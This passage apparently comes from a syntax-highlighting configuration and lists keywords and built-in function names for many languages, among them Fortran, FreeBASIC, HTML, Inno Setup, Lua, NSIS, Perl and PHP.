sin sind sinh size sizeof sngl snglq spacing spread sqrt sum system_clock tan tand tanh tiny transfer transpose trim ubound unpack verify + cdabs cdcos cdexp cdlog cdsin cdsqrt cotan cotand dcmplx dconjg dcotan dcotand decode dimag dll_export dll_import doublecomplex dreal dvchk encode find flen flush getarg getcharqq getcl getdat getenv gettim hfix ibchng identifier imag int1 int2 int4 intc intrup invalop iostat_msg isha ishc ishl jfix lacfar locking locnear map nargs nbreak ndperr ndpexc offset ovefl peekcharqq precfill prompt qabs qacos qacosd qasin qasind qatan qatand qatan2 qcmplx qconjg qcos qcosd qcosh qdim qexp qext qextd qfloat qimag qlog qlog10 qmax1 qmin1 qmod qreal qsign qsin qsind qsinh qsqrt qtan qtand qtanh ran rand randu rewrite segment setdat settim system timer undfl unlock union val virtual volatile zabs zcos zexp zlog zsin zsqrt + + + access action advance allocatable allocate apostrophe assign assignment associate asynchronous backspace bind blank blockdata call case character class close common complex contains continue critical cycle data deallocate decimal delim default dimension direct do dowhile double doubleprecision else elseif elsewhere encoding end endassociate endblockdata endcritical enddo endenum endfile endforall endfunction endif endinterface endmodule endprocedure endprogram endselect endsubmodule endsubroutine endtype endwhere entry enum eor equivalence err errmsg exist exit external file flush fmt forall form format formatted function go goto id if implicit in include inout integer inquire intent interface intrinsic iomsg iolength iostat kind len logical module name named namelist nextrec nml none nullify number only open opened operator optional out pad parameter pass pause pending pointer pos position precision print private procedure program protected public quote read readwrite real rec recl recursive result return rewind save select selectcase selecttype sequential sign size stat status stop stream submodule subroutine target then to type unformatted unit use value volatile wait where while write + abs achar acos acosd adjustl adjustr aimag aimax0 aimin0 aint ajmax0 ajmin0 akmax0 akmin0 all allocated alog alog10 amax0 amax1 amin0 amin1 amod anint any asin asind associated atan atan2 atan2d atand bitest bitl bitlr bitrl bjtest bit_size bktest break btest cabs ccos cdabs cdcos cdexp cdlog cdsin cdsqrt ceiling cexp char clog cmplx conjg cos cosd cosh count cpu_time cshift csin csqrt dabs dacos dacosd dasin dasind datan datan2 datan2d datand date date_and_time dble dcmplx dconjg dcos dcosd dcosh dcotan ddim dexp dfloat dflotk dfloti dflotj digits dim dimag dint dlog dlog10 dmax1 dmin1 dmod dnint dot_product dprod dreal dsign dsin dsind dsinh dsqrt dtan dtand dtanh eoshift epsilon errsns exp exponent float floati floatj floatk floor fraction free huge iabs iachar iand ibclr ibits ibset ichar idate idim idint idnint ieor ifix iiabs iiand iibclr iibits iibset iidim iidint iidnnt iieor iifix iint iior iiqint iiqnnt iishft iishftc iisign ilen imax0 imax1 imin0 imin1 imod index inint inot int int1 int2 int4 int8 iqint iqnint ior ishft ishftc isign isnan izext jiand jibclr jibits jibset jidim jidint jidnnt jieor jifix jint jior jiqint jiqnnt jishft jishftc jisign jmax0 jmax1 jmin0 jmin1 jmod jnint jnot jzext kiabs kiand kibclr kibits kibset kidim kidint kidnnt kieor kifix kind kint kior kishft kishftc kisign kmax0 kmax1 kmin0 kmin1 kmod knint knot kzext lbound leadz len len_trim lenlge lge lgt lle llt log log10 logical lshift malloc matmul max max0 max1 maxexponent maxloc maxval merge min min0 min1 minexponent minloc minval mod modulo mvbits nearest nint not nworkers number_of_processors pack popcnt poppar precision present product radix random random_number random_seed range real repeat reshape rrspacing rshift scale scan secnds selected_int_kind selected_real_kind set_exponent shape sign sin sind sinh size sizeof sngl snglq spacing spread sqrt sum system_clock tan tand tanh tiny transfer transpose trim ubound unpack verify + cdabs cdcos cdexp cdlog cdsin cdsqrt cotan cotand dcmplx dconjg dcotan dcotand decode dimag dll_export dll_import doublecomplex dreal dvchk encode find flen flush getarg getcharqq getcl getdat getenv gettim hfix ibchng identifier imag int1 int2 int4 intc intrup invalop iostat_msg isha ishc ishl jfix lacfar locking locnear map nargs nbreak ndperr ndpexc offset ovefl peekcharqq precfill prompt qabs qacos qacosd qasin qasind qatan qatand qatan2 qcmplx qconjg qcos qcosd qcosh qdim qexp qext qextd qfloat qimag qlog qlog10 qmax1 qmin1 qmod qreal qsign qsin qsind qsinh qsqrt qtan qtand qtanh ran rand randu rewrite segment setdat settim system timer undfl unlock union val virtual volatile zabs zcos zexp zlog zsin zsqrt + + + append as asc asin asm atan2 atn beep bin binary bit bitreset bitset bload bsave byref byte byval call callocate case cbyte cdbl cdecl chain chdir chr cint circle clear clng clngint close cls color command common cons const continue cos cshort csign csng csrlin cubyte cuint culngint cunsg curdir cushort custom cvd cvi cvl cvlongint cvs cvshort data date deallocate declare defbyte defdbl defined defint deflng deflngint defshort defsng defstr defubyte defuint defulngint defushort dim dir do double draw dylibload dylibsymbol else elseif end enum environ environ$ eof eqv erase err error exec exepath exit exp export extern field fix flip for fre freefile function get getjoystick getkey getmouse gosub goto hex hibyte hiword if iif imagecreate imagedestroy imp inkey inp input instr int integer is kill lbound lcase left len let lib line lobyte loc local locate lock lof log long longint loop loword lset ltrim mid mkd mkdir mki mkl mklongint mks mkshort mod multikey mutexcreate mutexdestroy mutexlock mutexunlock name next not oct on once open option or out output overload paint palette pascal pcopy peek peeki peeks pipe pmap point pointer poke pokei pokes pos preserve preset print private procptr pset ptr public put random randomize read reallocate redim rem reset restore resume resume next return rgb rgba right rmdir rnd rset rtrim run sadd screen screencopy screeninfo screenlock screenptr screenres screenset screensync screenunlock seek statement seek function selectcase setdate setenviron setmouse settime sgn shared shell shl short shr sin single sizeof sleep space spc sqr static stdcall step stop str string string strptr sub swap system tab tan then threadcreate threadwait time time timer to trans trim type ubound ubyte ucase uinteger ulongint union unlock unsigned until ushort using va_arg va_first va_next val val64 valint varptr view viewprint wait wend while width window windowtitle with write xor zstring + #define #dynamic #else #endif #error #if #ifdef #ifndef #inclib #include #print #static #undef + + + + + + + + + + + + as case class data default deriving do else hiding if import in infix infixl infixr instance let module newtype of proc qualified rec then type where _ + + + !doctype a abbr accept accept-charset accesskey acronym action address align alink alt applet archive area article aside async audio autocomplete autofocus axis b background base basefont bdi bdo bgcolor bgsound big blink blockquote body border br button canvas caption cellpadding cellspacing center char charoff charset checkbox checked cite class classid clear code codebase codetype col colgroup color cols colspan command compact content contenteditable contextmenu coords data datafld dataformatas datalist datapagesize datasrc datetime dd declare defer del details dfn dialog dir disabled div dl draggable dropzone dt element em embed enctype event face fieldset figcaption figure file font footer for form formaction formenctype formmethod formnovalidate formtarget frame frameborder frameset h1 h2 h3 h4 h5 h6 head header headers height hgroup hidden hr href hreflang hspace html http-equiv i id iframe image img input ins isindex ismap kbd keygen label lang language leftmargin legend li link list listing longdesc main manifest map marginheight marginwidth mark marquee max maxlength media menu menuitem meta meter method min multicol multiple name nav nobr noembed noframes nohref noresize noscript noshade novalidate nowrap object ol onabort onafterprint onautocomplete onautocompleteerror onbeforeonload onbeforeprint onblur oncancel oncanplay oncanplaythrough onchange onclick onclose oncontextmenu oncuechange ondblclick ondrag ondragend ondragenter ondragleave ondragover ondragstart ondrop ondurationchange onemptied onended onerror onfocus onhashchange oninput oninvalid onkeydown onkeypress onkeyup onload onloadeddata onloadedmetadata onloadstart onmessage onmousedown onmouseenter onmouseleave onmousemove onmouseout onmouseover onmouseup onmousewheel onoffline ononline onpagehide onpageshow onpause onplay onplaying onpointercancel onpointerdown onpointerenter onpointerleave onpointerlockchange onpointerlockerror onpointermove onpointerout onpointerover onpointerup onpopstate onprogress onratechange onreadystatechange onredo onreset onresize onscroll onseeked onseeking onselect onshow onsort onstalled onstorage onsubmit onsuspend ontimeupdate ontoggle onundo onunload onvolumechange onwaiting optgroup option output p param password pattern picture placeholder plaintext pre profile progress prompt public q radio readonly rel required reset rev reversed role rows rowspan rp rt rtc ruby rules s samp sandbox scheme scope scoped script seamless section select selected shadow shape size sizes small source spacer span spellcheck src srcdoc standby start step strike strong style sub submit summary sup svg svg:svg tabindex table target tbody td template text textarea tfoot th thead time title topmargin tr track tt type u ul usemap valign value valuetype var version video vlink vspace wbr width xml xmlns xmp + + + + + code components custommessages dirs files icons ini installdelete langoptions languages messages registry run setup types tasks uninstalldelete uninstallrun _istool + allowcancelduringinstall allownoicons allowrootdirectory allowuncpath alwaysrestart alwaysshowcomponentslist alwaysshowdironreadypage alwaysshowgrouponreadypage alwaysusepersonalgroup appcomments appcontact appcopyright appenddefaultdirname appenddefaultgroupname appid appmodifypath appmutex appname apppublisher apppublisherurl appreadmefile appsupporturl appupdatesurl appvername appversion architecturesallowed architecturesinstallin64bitmode backcolor backcolor2 backcolordirection backsolid changesassociations changesenvironment compression copyrightfontname copyrightfontsize createappdir createuninstallregkey defaultdirname defaultgroupname defaultuserinfoname defaultuserinfoorg defaultuserinfoserial dialogfontname dialogfontsize direxistswarning disabledirpage disablefinishedpage disableprogramgrouppage disablereadymemo disablereadypage disablestartupprompt diskclustersize diskslicesize diskspanning enablesdirdoesntexistwarning encryption extradiskspacerequired flatcomponentslist infoafterfile infobeforefile internalcompresslevel languagedetectionmethod languagecodepage languageid languagename licensefile lzmanumfastbytes mergeduplicatefiles minversion onlybelowversion outputbasefilename outputdir outputmanifestfile password privilegesrequired reservebytes restartifneededbyrun setupiconfile showcomponentsizes showlanguagedialog showtaskstreelines slicesperdisk solidcompression sourcedir timestamprounding timestampsinutc titlefontname titlefontsize touchdate touchtime uninstallable uninstalldisplayicon uninstalldisplayname uninstallfilesdir uninstalllogmode uninstallrestartcomputer updateuninstalllogappname usepreviousappdir usepreviousgroup useprevioussetuptype useprevioustasks useprevioususerinfo userinfopage usesetupldr versioninfocompany versioninfocopyright versioninfodescription versioninfotextversion versioninfoversion welcomefontname welcomefontsize windowshowcaption windowstartmaximized windowresizable windowvisible wizardimagebackcolor wizardimagefile wizardimagestretch wizardsmallimagefile + afterinstall attribs beforeinstall check comment components copymode description destdir destname excludes extradiskspacerequired filename flags fontinstall groupdescription hotkey infoafterfile infobeforefile iconfilename iconindex key languages licensefile messagesfile minversion name onlybelowversion parameters permissions root runonceid section source statusmsg string subkey tasks type types valuedata valuename valuetype workingdir + append define dim elif else emit endif endsub error expr file for if ifdef ifexist ifndef ifnexist include insert pragma sub undef + begin break case const continue do downto else end except finally for function if of procedure repeat then to try until uses var while with + + + + + instanceof assert if else switch case default break goto return for while do continue new throw throws try catch finally this super extends implements import true false null + package transient strictfp void char short int long double float const static volatile byte boolean class interface native private protected public final abstract synchronized enum + + + + abstract async await boolean break byte case catch char class const continue debugger default delete do double else enum export extends final finally float for from function goto if implements import in instanceof int interface let long native new null of package private protected public return short static super switch synchronized this throw throws transient try typeof var void volatile while with true false prototype yield + + + abstract async await boolean break byte case catch char class const continue debugger default delete do double else enum export extends final finally float for from function goto if implements import in instanceof int interface let long native new null of package private protected public return short static super switch synchronized this throw throws transient try typeof var void volatile while with true false prototype yield + Array Date eval hasOwnProperty Infinity isFinite isNaN isPrototypeOf Math NaN Number Object prototype String toString undefined valueOf + alert all anchor anchors area assign blur button checkbox clearInterval clearTimeout clientInformation close closed confirm constructor crypto decodeURI decodeURIComponent defaultStatus document element elements embed embeds encodeURI encodeURIComponent escape event fileUpload focus form forms frame innerHeight innerWidth layer layers link location mimeTypes navigate navigator frames frameRate hidden history image images offscreenBuffering onblur onclick onerror onfocus onkeydown onkeypress onkeyup onmouseover onload onmouseup onmousedown onsubmit open opener option outerHeight outerWidth packages pageXOffset pageYOffset parent parseFloat parseInt password pkcs11 plugin prompt propertyIsEnum radio reset screenX screenY scroll secure select self setInterval setTimeout status submit taint text textarea top unescape untaint window + + + false null true + + + + ? and beep big break call cd cls color cookie1 copy debug del dim display do until exit flushkb for each next function endfunction get gets global go gosub goto if else endif md or password play quit rd redim return run select case endselect set setl setm settime shell sleep small use while loop + abs addkey addprinterconnection addprogramgroup addprogramitem asc ascan at backupeventlog box cdbl chr cint cleareventlog close comparefiletimes createobject cstr dectohex delkey delprinterconnection delprogramgroup delprogramitem deltree delvalue dir enumgroup enumipinfo enumkey enumlocalgroup enumvalue execute exist existkey expandenvironmentvars fix formatnumber freefilehandle getdiskspace getfileattr getfilesize getfiletime getfileversion getobject iif ingroup instr instrrev int isdeclared join kbhit keyexist lcase left len loadhive loadkey logevent logoff ltrim memorysize messagebox open readline readprofilestring readtype readvalue redirectoutput right rnd round rtrim savekey sendkeys sendmessage setascii setconsole setdefaultprinter setfileattr setfocus setoption setsystemstate settitle setwallpaper showprogramgroup shutdown sidtoname split srnd substr trim ubound ucase unloadhive val vartype vartypename writeline writeprofilestring writevalue + address build color comment cpu crlf csd curdir date day domain dos error fullname homedir homedrive homeshr hostname inwin ipaddress0 ipaddress1 ipaddress2 ipaddress3 kix lanroot ldomain ldrive lm logonmode longhomedir lserver maxpwage mdayno mhz monthno month msecs pid primarygroup priv productsuite producttype pwage ras result rserver scriptdir scriptexe scriptname serror sid site startdir syslang ticks time userid userlang wdayno wksta wuserid ydayno year + + + not defun + - * / = < > <= >= princ eval apply funcall quote identity function complement backquote lambda set setq setf defmacro gensym make symbol intern name value plist get getf putprop remprop hash array aref car cdr caar cadr cdar cddr caaar caadr cadar caddr cdaar cdadr cddar cdddr caaaar caaadr caadar caaddr cadaar cadadr caddar cadddr cdaaar cdaadr cdadar cdaddr cddaar cddadr cdddar cddddr cons list append reverse last nth nthcdr member assoc subst sublis nsubst nsublis remove length mapc mapcar mapl maplist mapcan mapcon rplaca rplacd nconc delete atom symbolp numberp boundp null listp consp minusp zerop plusp evenp oddp eq eql equal cond case and or let l if prog prog1 prog2 progn go return do dolist dotimes catch throw error cerror break continue errset baktrace evalhook truncate float rem min max abs sin cos tan expt exp sqrt random logand logior logxor lognot bignums logeqv lognand lognor logorc2 logtest logbitp logcount integer nil + + + + + + and break do else elseif end false for function goto if in local nil not or repeat return then true until while + _ENV _G _VERSION assert collectgarbage dofile error getfenv getmetatable ipairs load loadfile loadstring module next pairs pcall print rawequal rawget rawlen rawset require select setfenv setmetatable tonumber tostring type unpack xpcall string table math bit32 coroutine io os debug package __index __newindex __call __add __sub __mul __div __mod __pow __unm __concat __len __eq __lt __le __gc __mode + byte char dump find format gmatch gsub len lower match rep reverse sub upper abs acos asin atan atan2 ceil cos cosh deg exp floor fmod frexp ldexp log log10 max min modf pow rad random randomseed sin sinh sqrt tan tanh arshift band bnot bor btest bxor extract lrotate lshift replace rrotate rshift shift string.byte string.char string.dump string.find string.format string.gmatch string.gsub string.len string.lower string.match string.rep string.reverse string.sub string.upper table.concat table.insert table.maxn table.pack table.remove table.sort table.unpack math.abs math.acos math.asin math.atan math.atan2 math.ceil math.cos math.cosh math.deg math.exp math.floor math.fmod math.frexp math.huge math.ldexp math.log math.log10 math.max math.min math.modf math.pi math.pow math.rad math.random math.randomseed math.sin math.sinh math.sqrt math.tan math.tanh bit32.arshift bit32.band bit32.bnot bit32.bor bit32.btest bit32.bxor bit32.extract bit32.lrotate bit32.lshift bit32.replace bit32.rrotate bit32.rshift + close flush lines read seek setvbuf write clock date difftime execute exit getenv remove rename setlocale time tmpname coroutine.create coroutine.resume coroutine.running coroutine.status coroutine.wrap coroutine.yield io.close io.flush io.input io.lines io.open io.output io.popen io.read io.tmpfile io.type io.write io.stderr io.stdin io.stdout os.clock os.date os.difftime os.execute os.exit os.getenv os.remove os.rename os.setlocale os.time os.tmpname debug.debug debug.getfenv debug.gethook debug.getinfo debug.getlocal debug.getmetatable debug.getregistry debug.getupvalue debug.getuservalue debug.setfenv debug.sethook debug.setlocal debug.setmetatable debug.setupvalue debug.setuservalue debug.traceback debug.upvalueid debug.upvaluejoin package.cpath package.loaded package.loaders package.loadlib package.path package.preload package.seeall + + + + + break case catch classdef continue else elseif end for function global if otherwise parfor persistent return switch try while + + + 2ADDU 4ADDU 8ADDU 16ADDU ADD ADDU AND ANDNH ANDNL ANDNMH ANDNML BDIF BEV BN BNN BNP BNZ BOD BP BSPEC BYTE BZ CMP CMPU CSEV CSN CSNN CSNP CSNZ CSOD CSP CSWAP CSZ DIV DIVU ESPEC EXPR FADD FCMP FCMPE FDIV FEQL FEQLE FIX FIXU FLOT FLOTU FMUL FREM FSQRT FSUB FUN FUNE GET GETA GO GREG I_BIT INCH INCL INCMH INCML IS JMP LDA LDB LDBU LDHT LDO LDOU LDSF LDT LDTU LDUNC LDVTS LDW LDWU LOC LOCAL MOR MUL MULU MUX MXOR NAND NEG NEGU NNIX NOR NXOR O_BIT OCTA ODIF OR ORH ORL ORMH ORML ORN PBEV PBN PBNN PBNP PBNZ PBOD PBP PBZ POP PREFIX PREGO PRELD PREST PUSHGO PUSHJ PUT RESUME SAVE SET SETH SETL SETMH SETML SFLOT SFLOTU SL SLU SR SRU STB STBU STCO STHT STO STOU STSF STT STTU STUNC STW STWU SUB SUBU SWYM SYNC SYNCD TDIF TETRA TRAP TRIP UNSAVE WDIF WYDEXOR ZSEV ZSN ZSNN ZSNP ZSNZ ZSOD ZSP ZSZ + rA rB rC rD rE rF rG rH rI rJ rK rL rM rN rO rP rQ rR rS rT rU rV rW rX rY rZ rBB rTT rWW rXX rYY rZZ + @ Text_Segment Data_Segment Pool_Segment Stack_Segment StdErr StdIn StdOut Fopen Fclose Fread Fwrite Fgets Fputs Fgetws Fputws Ftell Fseek TextRead TextWrite BinaryRead BinaryWrite BinaryReadWrite + + + addr and as asm block break case cast const continue converter discard div elif else end enum except exception finally for from generic if implies import in include is isnot iterator lambda macro method mod nil not notin object of or out proc ptr raise ref return shl shr template try tuple type var when where while with without xor yield + + + AGAIN ALLOT AND Action BEGIN CASE COMPARE CONSTANT CREATE DO Days ELSE ENDCASE ENDOF EVAL-SUBST EVALUATE FALSE Hours I IF LEAVE LOOP Minutes Months NOT OF OFF ON OR PAD REPEAT Rule SET THEN TRUE Time UNTIL VALUE VARIABLE WHILE WeekDays Years + </JScript> </SCRIPT> </VBScript> <JScript> <VBScript> ACCESS-DATE BEEP CALL_DIAL CALL_HANGUP CHAR CLIPBOARD CONSOLE CREATION-DATE CUR-DATE DATE- DATE-INTERVAL DELAY DIAL DIR-CREATE DIR-DELETE DIR-EMPTY DIR-SIZE Day@ Domain ERR-MSG EXIST FILE-ACCESS-DATE FILE-APPEND FILE-COPY FILE-CREATE FILE-CREATION-DATE FILE-CROP FILE-DATE FILE-DELETE FILE-EMPTY FILE-EXIST FILE-MOVE FILE-RENAME FILE-SIZE FILE-WRITE FILE-WRITE-DATE FOR-CHILD-WINDOWS FOR-FILES FOR-WINDOWS FREE-SPACE GET-CUR-TIME GET-REG GET-VER GetTickCount HANGUP HIDE-ICON HINT HINT-OFF HINT-POS HINT-SIZE HINTW HOST-EXIST Hour@ IDLE INTERVAL IS-ARCHIVE IS-DIR IS-HIDDEN IS-READONLY IS-SYSTEM KILL LAUNCH LOG LOGGEDON LOGOFF LogonBatch LogonInteractive LogonNetwork MOUSE-LBCLK MOUSE-LBDCLK MOUSE-LBDN MOUSE-LBUP MOUSE-MOVE MOUSE-MOVER MOUSE-MOVEW MOUSE-RBCLK MOUSE-RBDCLK MOUSE-RBDN MOUSE-RBUP MSG Min@ Mon@ MonitorResponseTime NHOST-EXIST No ONLINE PAUSE PLAY-SOUND PLAY-SOUNDW POP3-CHECK POWEROFF PROC-EXIST PROC-TIME PURGE-OLD PURGE-OLDA PURGE-OLDW Password QSTART-APP QSTART-APPW QUERY QUIT RASDomain RASError RASPassword RASPhone RASSecPassword RASUser RE-ALL RE-MATCH REBOOT REG-DELETE-KEY REG-DELETE-VALUE REG-DWORD REG-SZ REMINDER RUN SEND-KEYS SEND-KEYS-DELAY SHOW-ICON SHUTDOWN START-APP START-APPW START-QUIT START-TIME Sec@ SecPassword THINT THINTW TimeSec@ TMSG TQUERY User WDay@ WIN-ACTIVATE WIN-ACTIVE WIN-CLICK WIN-CLOSE WIN-EXIST WIN-HIDE WIN-HWND WIN-MAXIMIZE WIN-MINIMIZE WIN-MOVE WIN-MOVER WIN-RESTORE WIN-SEND-KEYS WIN-SHOW WIN-TERMINATE WIN-TOPMOST WIN-VER WIN-WAIT WINAPI WRITE-DATE WatchClipboard WatchConnect WatchDir WatchDisconnect WatchDriveInsert WatchDriveRemove WatchFile WatchProc WatchProcStop WatchWinActivate WatchWinCreate WatchWinDestroy WatchWindow WinNT Year@ Yes + ALL AboveNormalPriority AsService BelowNormalPriority FILESONLY HighPriority IdlePriority LoadProfile NoActive NoDel NoLog NoRunAs NormalPriority OnceADay OnceAHour OnceAMonth OnceAWeek RECURSIVE RealtimePriority RunOnce SWHide ShowMaximized ShowMinimized ShowNoActivate ShowNormal StartIn StartPos StartSize TODEPTH WATCH-CHANGE-ATTRIBUTES WATCH-CHANGE-DIR-NAME WATCH-CHANGE-FILE-NAME WATCH-CHANGE-LAST-WRITE WATCH-CHANGE-SECURITY WATCH-CHANGE-SIZE WaitFor WatchSubtree WithoutProfile + + + + + Abort AddBrandingImage AddSize AllowRootDirInstall AllowSkipFiles AutoCloseWindow BGFont BGGradient BrandingText BringToFront Call CallInstDLL Caption ChangeUI CheckBitmap ClearErrors CompletedText ComponentText CopyFiles CRCCheck CreateDirectory CreateFont CreateShortCut Delete DeleteINISec DeleteINIStr DeleteRegKey DeleteRegValue DetailPrint DetailsButtonText DirText DirVar DirVerify EnableWindow EnumRegKey EnumRegValue Exch Exec ExecShell ExecWait ExpandEnvStrings File FileBufSize FileClose FileErrorText FileOpen FileRead FileReadByte FileReadUTF16LE FileSeek FileWrite FileWriteByte FileWriteUTF16LE FindClose FindFirst FindNext FindWindow FlushINI Function FunctionEnd GetCurInstType GetCurrentAddress GetDlgItem GetDLLVersion GetDLLVersionLocal GetErrorLevel GetExeName GetExePath GetFileTime GetFileTimeLocal GetFullPathName GetFunctionAddress GetInstDirError GetLabelAddress GetTempFileName Goto HideWindow Icon IfAbort IfErrors IfFileExists IfRebootFlag IfSilent InitPluginsDir InstallButtonText InstallColors InstallDir InstallDirRegKey InstProgressFlags InstType InstTypeGetText InstTypeSetText IntCmp IntCmpU IntFmt IntOp IsWindow LangString LangStringUP LicenseBkColor LicenseData LicenseForceSelection LicenseLangString LicenseText LoadLanguageFile LockWindow LogSet LogText ManifestDPIAware ManifestSupportedOS MessageBox MiscButtonText Nop Name OutFile Page PageEx PageExEnd PluginDir Pop Push Quit ReadEnvStr ReadINIStr ReadRegDWORD ReadRegStr Reboot RegDLL Rename RequestExecutionLevel ReserveFile Return RMDir SearchPath Section SectionEnd SectionGetFlags SectionGetInstTypes SectionGetSize SectionGetText SectionGroup SectionGroupEnd SectionIn SectionSetFlags SectionSetInstTypes SectionSetSize SectionSetText SendMessage SetAutoClose SetBrandingImage SetCompress SetCompressionLevel SetCompressor SetCompressorDictSize SetCtlColors SetCurInstType SetDatablockOptimize SetDateSave SetDetailsPrint SetDetailsView SetErrorLevel SetErrors SetFileAttributes SetFont SetOutPath SetOverwrite SetPluginUnload SetRebootFlag SetRegView SetShellVarContext SetSilent SetStaticBkColor ShowInstDetails ShowUninstDetails ShowWindow SilentInstall SilentUnInstall Sleep SpaceTexts StrCmp StrCmpS StrCpy StrLen SubSection SubSectionEnd Unicode UninstallButtonText UninstallCaption UninstallIcon UninstallSubCaption UninstallText UninstPage UnRegDLL UnsafeStrCpy Var VIAddVersionKey VIFileVersion VIProductVersion WindowIcon WriteINIStr WriteRegBin WriteRegDWORD WriteRegExpandStr WriteRegStr WriteUninstaller XPStyle !AddIncludeDir !AddPluginDir !appendfile !cd !define !delfile !echo !else !endif !error !execute !finalize !getdllversion !if !ifdef !ifmacrodef !ifmacrondef !ifndef !include !insertmacro !macro !macroend !macroundef !packhdr !searchparse !searchreplace !system !tempfile !undef !verbose !warning + $0 $1 $2 $3 $4 $5 $6 $7 $8 $9 $R0 $R1 $R2 $R3 $R4 $R5 $R6 $R7 $R8 $R9 $ADMINTOOLS $APPDATA $CDBURN_AREA $CMDLINE $COMMONFILES $COMMONFILES32 $COMMONFILES64 $COOKIES $DESKTOP $DOCUMENTS $EXEDIR $EXEFILE $EXEPATH $FAVORITES $FONTS $HISTORY $HWNDPARENT $INTERNET_CACHE $INSTDIR $LANGUAGE $LOCALAPPDATA $MUSIC $NETHOOD ${NSISDIR} $OUTDIR $PICTURES $PLUGINSDIR $PRINTHOOD $PROFILE $PROGRAMFILES $PROGRAMFILES32 $PROGRAMFILES64 $QUICKLAUNCH $RECENT $RESOURCES $RESOURCES_LOCALIZED $SENDTO $SMPROGRAMS $SMSTARTUP $STARTMENU $SYSDIR $TEMP $TEMPLATES $VIDEOS $WINDIR $$ $\n $\r $\t + ARCHIVE CUR END FILE_ATTRIBUTE_ARCHIVE FILE_ATTRIBUTE_HIDDEN FILE_ATTRIBUTE_NORMAL FILE_ATTRIBUTE_OFFLINE FILE_ATTRIBUTE_READONLY FILE_ATTRIBUTE_SYSTEM FILE_ATTRIBUTE_TEMPORARY HIDDEN HKCC HKCR HKCU HKDD HKEY_CLASSES_ROOT HKEY_CURRENT_CONFIG HKEY_CURRENT_USER HKEY_DYN_DATA HKEY_LOCAL_MACHINE HKEY_PERFORMANCE_DATA HKEY_USERS HKLM HKPD HKU IDABORT IDCANCEL IDIGNORE IDNO IDOK IDRETRY IDYES MB_ABORTRETRYIGNORE MB_DEFBUTTON1 MB_DEFBUTTON2 MB_DEFBUTTON3 MB_DEFBUTTON4 MB_ICONEXCLAMATION MB_ICONINFORMATION MB_ICONQUESTION MB_ICONSTOP MB_OK MB_OKCANCEL MB_RETRYCANCEL MB_RIGHT MB_SETFOREGROUND MB_TOPMOST MB_USERICON MB_YESNO MB_YESNOCANCEL NORMAL OFFLINE READONLY SET SHCTX SW_HIDE SW_SHOWMAXIMIZED SW_SHOWMINIMIZED SW_SHOWNORMAL SYSTEM TEMPORARY all auto both bottom bzip2 checkbox colored current false force hide ifdiff ifnewer lastused leave left listonly lzma nevershow none normal off on pop push radiobuttons right show silent silentlog smooth textonly top true try zlib + + + + break breakif by case continue continueif default downto else elseif end for goto if in repeat switch to until while function return void dll inbyref inout linked nodebug super this xcmd xfcn + false true undefined booleantype bytestype datatype dynamictype errortype externtype integertype listtype longtype objecttype objreftype pointtype realtype scripttype stringtype undefinedtype voidtype + and eq ge gt le lt ne not or xor + assoc boolean bytes date dynamic error extern file integer list long object point real recarray record script string cachetree capiconnect capierr capilog capilogin compiler dapisession dapinode dapiversion dapistream filecopy fileprefs frame javaobject mailmessage pop3session smtpsession ssloptions patfind patchange regex socket sqlconnection sqlcursor uapisession uapiuser wapisession wapimap wapimaptask wapiwork wapisubwork domattr domcdatasection domcharacterdata domcomment domdocument domdocumentfragment domdocumenttype domelement domentity domentityreference domimplementation domnamednodemap domnode domnodelist domnotation domparser domprocessinginstruction domtext saxparser xslprocessor + datatypename echo echodebug echoerror echoinfo echostamp echowarn getfeatures isdefined iserror isfeature isinvokable isnoterror isnotset isobject isset isundefined length nparameters parameters pointh pointv type + cachetree capiconnect capierr capilog capilogin compiler dapisession dapinode dapiversion dapistream filecopy fileprefs frame javaobject mailmessage pop3session smtpsession ssloptions patfind patchange regex socket sqlconnection sqlcursor uapisession uapiuser wapisession wapimap wapimaptask wapiwork wapisubwork domattr domcdatasection domcharacterdata domcomment domdocument domdocumentfragment domdocumenttype domelement domentity domentityreference domimplementation domnamednodemap domnode domnodelist domnotation domparser domprocessinginstruction domtext saxparser xslprocessor + + + if else switch case default break goto return for while do continue typedef sizeof NULL self super nil NIL + interface implementation protocol end private protected public class selector encode defs + void struct union enum char short int long double float signed unsigned const static extern auto register volatile id Class SEL IMP BOOL + oneway in out inout bycopy byref + + + and array asm begin case cdecl class const constructor default destructor div do downto else end end. except exit exports external far file finalization finally for function goto if implementation in index inherited initialization inline interface label library message mod near nil not object of on or out overload override packed pascal private procedure program property protected public published raise read record register repeat resourcestring safecall set shl shr stdcall stored string then threadvar to try type unit until uses var virtual while with write xor + + + NULL __FILE__ __LINE__ __PACKAGE__ __DATA__ __END__ AUTOLOAD BEGIN CORE DESTROY END EQ GE GT INIT LE LT NE CHECK abs accept alarm and atan2 bind binmode bless caller chdir chmod chomp chop chown chr chroot close closedir cmp connect continue cos crypt dbmclose dbmopen defined delete die do dump each else elsif endgrent endhostent endnetent endprotoent endpwent endservent eof eq eval exec exists exit exp fcntl fileno flock for foreach fork format formline ge getc getgrent getgrgid getgrnam gethostbyaddr gethostbyname gethostent getlogin getnetbyaddr getnetbyname getnetent getpeername getpgrp getppid getpriority getprotobyname getprotobynumber getprotoent getpwent getpwnam getpwuid getservbyname getservbyport getservent getsockname getsockopt glob gmtime goto grep gt hex if index int ioctl join keys kill last lc lcfirst le length link listen local localtime lock log lstat lt m map mkdir msgctl msgget msgrcv msgsnd my ne next no not oct open opendir or ord our pack package pipe pop pos print printf prototype push q qq qr quotemeta qu qw qx rand read readdir readline readlink readpipe recv redo ref rename require reset return reverse rewinddir rindex rmdir s scalar seek seekdir select semctl semget semop send setgrent sethostent setnetent setpgrp setpriority setprotoent setpwent setservent setsockopt shift shmctl shmget shmread shmwrite shutdown sin sleep socket socketpair sort splice split sprintf sqrt srand stat study sub substr symlink syscall sysopen sysread sysseek system syswrite tell telldir tie tied time times tr truncate uc ucfirst umask undef unless unlink unpack unshift untie until use utime values vec wait waitpid wantarray warn while write x xor y + + + __autoload __class__ __compiler_halt_offset__ __construct __destruct __dir__ __file__ __function__ __halt_compiler __line__ __method__ __namespace__ __sleep __trait__ __wakeup _cookie _files _get _post abday_1 abday_2 abday_3 abday_4 abday_5 abday_6 abday_7 abmon_1 abmon_10 abmon_11 abmon_12 abmon_2 abmon_3 abmon_4 abmon_5 abmon_6 abmon_7 abmon_8 abmon_9 abs abstract acos acosh addcslashes addslashes af_inet af_inet6 af_unix al_bits al_buffer al_channels al_cone_inner_angle al_cone_outer_angle al_cone_outer_gain al_direction al_false al_format_mono16 al_format_mono8 al_format_stereo16 al_format_stereo8 al_frequency al_gain al_initial al_looping al_max_distance al_max_gain al_min_gain al_orientation al_paused 